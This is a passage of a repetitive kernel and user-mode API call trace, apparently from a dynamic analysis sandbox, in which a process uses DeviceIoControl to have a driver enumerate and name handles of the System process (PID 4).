AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0111.597] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.597] PsReleaseProcessExitSynchronization () returned 0x2 [0111.598] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.598] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.598] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.598] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.598] PsAcquireProcessExitSynchronization () returned 0x0 [0111.598] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.598] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0111.598] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.598] PsReleaseProcessExitSynchronization () returned 0x2 [0111.598] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.598] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.598] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.598] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.598] PsAcquireProcessExitSynchronization () returned 0x0 [0111.598] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.598] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b8ec00, HandleInformation=0x0) returned 0x0 [0111.598] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.598] PsReleaseProcessExitSynchronization () returned 0x2 [0111.598] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.598] ObQueryNameString (in: Object=0xfffffa8003b8ec00, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.598] ObfDereferenceObject (Object=0xfffffa8003b8ec00) returned 0x2 [0111.598] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.598] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.598] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.598] PsAcquireProcessExitSynchronization () returned 0x0 [0111.598] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.599] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0111.599] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.599] PsReleaseProcessExitSynchronization () returned 0x2 [0111.599] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.599] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.599] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.599] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.599] PsAcquireProcessExitSynchronization () returned 0x0 [0111.599] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.599] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0111.599] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.599] PsReleaseProcessExitSynchronization () returned 0x2 [0111.599] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.599] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.599] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.599] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.599] PsAcquireProcessExitSynchronization () returned 0x0 [0111.599] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.599] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800212e050, HandleInformation=0x0) returned 0x0 [0111.599] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.599] PsReleaseProcessExitSynchronization () returned 0x2 [0111.599] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.599] ObQueryNameString (in: Object=0xfffffa800212e050, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.599] ObfDereferenceObject (Object=0xfffffa800212e050) returned 0x2 [0111.599] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.599] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.600] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.600] PsAcquireProcessExitSynchronization () returned 0x0 [0111.600] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.600] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b8c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001eeb420, HandleInformation=0x0) returned 0x0 [0111.600] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.600] PsReleaseProcessExitSynchronization () returned 0x2 [0111.600] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.600] ObQueryNameString (in: Object=0xfffffa8001eeb420, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.600] ObfDereferenceObject (Object=0xfffffa8001eeb420) returned 0x2 [0111.600] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.600] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.600] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.600] PsAcquireProcessExitSynchronization () returned 0x0 [0111.600] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.600] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031367d0, HandleInformation=0x0) returned 0x0 [0111.600] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.600] PsReleaseProcessExitSynchronization () returned 0x2 [0111.600] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.600] ObQueryNameString (in: Object=0xfffffa80031367d0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.600] ObfDereferenceObject (Object=0xfffffa80031367d0) returned 0x2 [0111.600] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.600] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.600] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.600] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.600] PsAcquireProcessExitSynchronization () returned 0x0 [0111.600] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.600] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800260e630, HandleInformation=0x0) returned 0x0 [0111.600] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.600] PsReleaseProcessExitSynchronization () returned 0x2 [0111.600] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.600] ObQueryNameString (in: Object=0xfffffa800260e630, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.601] ObfDereferenceObject (Object=0xfffffa800260e630) returned 0x2 [0111.601] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.601] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.601] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.601] PsAcquireProcessExitSynchronization () returned 0x0 [0111.601] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.601] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001eeeac0, HandleInformation=0x0) returned 0x0 [0111.601] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.601] PsReleaseProcessExitSynchronization () returned 0x2 [0111.601] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.601] ObQueryNameString (in: Object=0xfffffa8001eeeac0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.601] ObfDereferenceObject (Object=0xfffffa8001eeeac0) returned 0x2 [0111.601] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.601] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.601] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.601] PsAcquireProcessExitSynchronization () returned 0x0 [0111.601] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.601] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80026545b0, HandleInformation=0x0) returned 0x0 [0111.601] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.601] PsReleaseProcessExitSynchronization () returned 0x2 [0111.601] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.601] ObQueryNameString (in: Object=0xfffffa80026545b0, ObjectNameInfo=0xfffffa80033f5544, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f5544, ReturnLength=0xfffff88005590550) returned 0x0 [0111.601] ObfDereferenceObject (Object=0xfffffa80026545b0) returned 0x2 [0111.601] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.601] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.601] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.601] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.602] PsAcquireProcessExitSynchronization () returned 0x0 [0111.602] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.602] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f973f0, HandleInformation=0x0) returned 0x0 [0111.602] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.602] PsReleaseProcessExitSynchronization () returned 0x2 [0111.602] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.602] ObQueryNameString (in: Object=0xfffffa8001f973f0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.602] ObfDereferenceObject (Object=0xfffffa8001f973f0) returned 0x2 [0111.602] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.602] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.602] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.602] PsAcquireProcessExitSynchronization () returned 0x0 [0111.602] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.602] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800219eac0, HandleInformation=0x0) returned 0x0 [0111.602] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.602] PsReleaseProcessExitSynchronization () returned 0x2 [0111.602] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.602] ObQueryNameString (in: Object=0xfffffa800219eac0, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0111.602] ObfDereferenceObject (Object=0xfffffa800219eac0) returned 0x2 [0111.602] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.602] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.602] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.602] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.602] PsAcquireProcessExitSynchronization () returned 0x0 [0111.602] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.602] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800359a050, HandleInformation=0x0) returned 0x0 [0111.602] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.602] PsReleaseProcessExitSynchronization () returned 0x2 [0111.602] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.603] ObQueryNameString (in: Object=0xfffffa800359a050, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.603] ObfDereferenceObject (Object=0xfffffa800359a050) returned 0x2 [0111.603] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.603] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.603] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.603] PsAcquireProcessExitSynchronization () returned 0x0 [0111.603] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.603] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800231d680, HandleInformation=0x0) returned 0x0 [0111.603] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.603] PsReleaseProcessExitSynchronization () returned 0x2 [0111.603] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.603] ObQueryNameString (in: Object=0xfffffa800231d680, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.603] ObfDereferenceObject (Object=0xfffffa800231d680) returned 0x2 [0111.603] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.603] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.603] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.604] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.604] PsAcquireProcessExitSynchronization () returned 0x0 [0111.604] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.604] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002616420, HandleInformation=0x0) returned 0x0 [0111.604] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.604] PsReleaseProcessExitSynchronization () returned 0x2 [0111.604] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.604] ObQueryNameString (in: Object=0xfffffa8002616420, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.604] ObfDereferenceObject (Object=0xfffffa8002616420) returned 0x2 [0111.604] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.604] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.604] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.604] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.604] PsAcquireProcessExitSynchronization () returned 0x0 [0111.604] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.604] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025f1a20, HandleInformation=0x0) returned 0x0 [0111.604] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.604] PsReleaseProcessExitSynchronization () returned 0x2 [0111.604] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.604] ObQueryNameString (in: Object=0xfffffa80025f1a20, 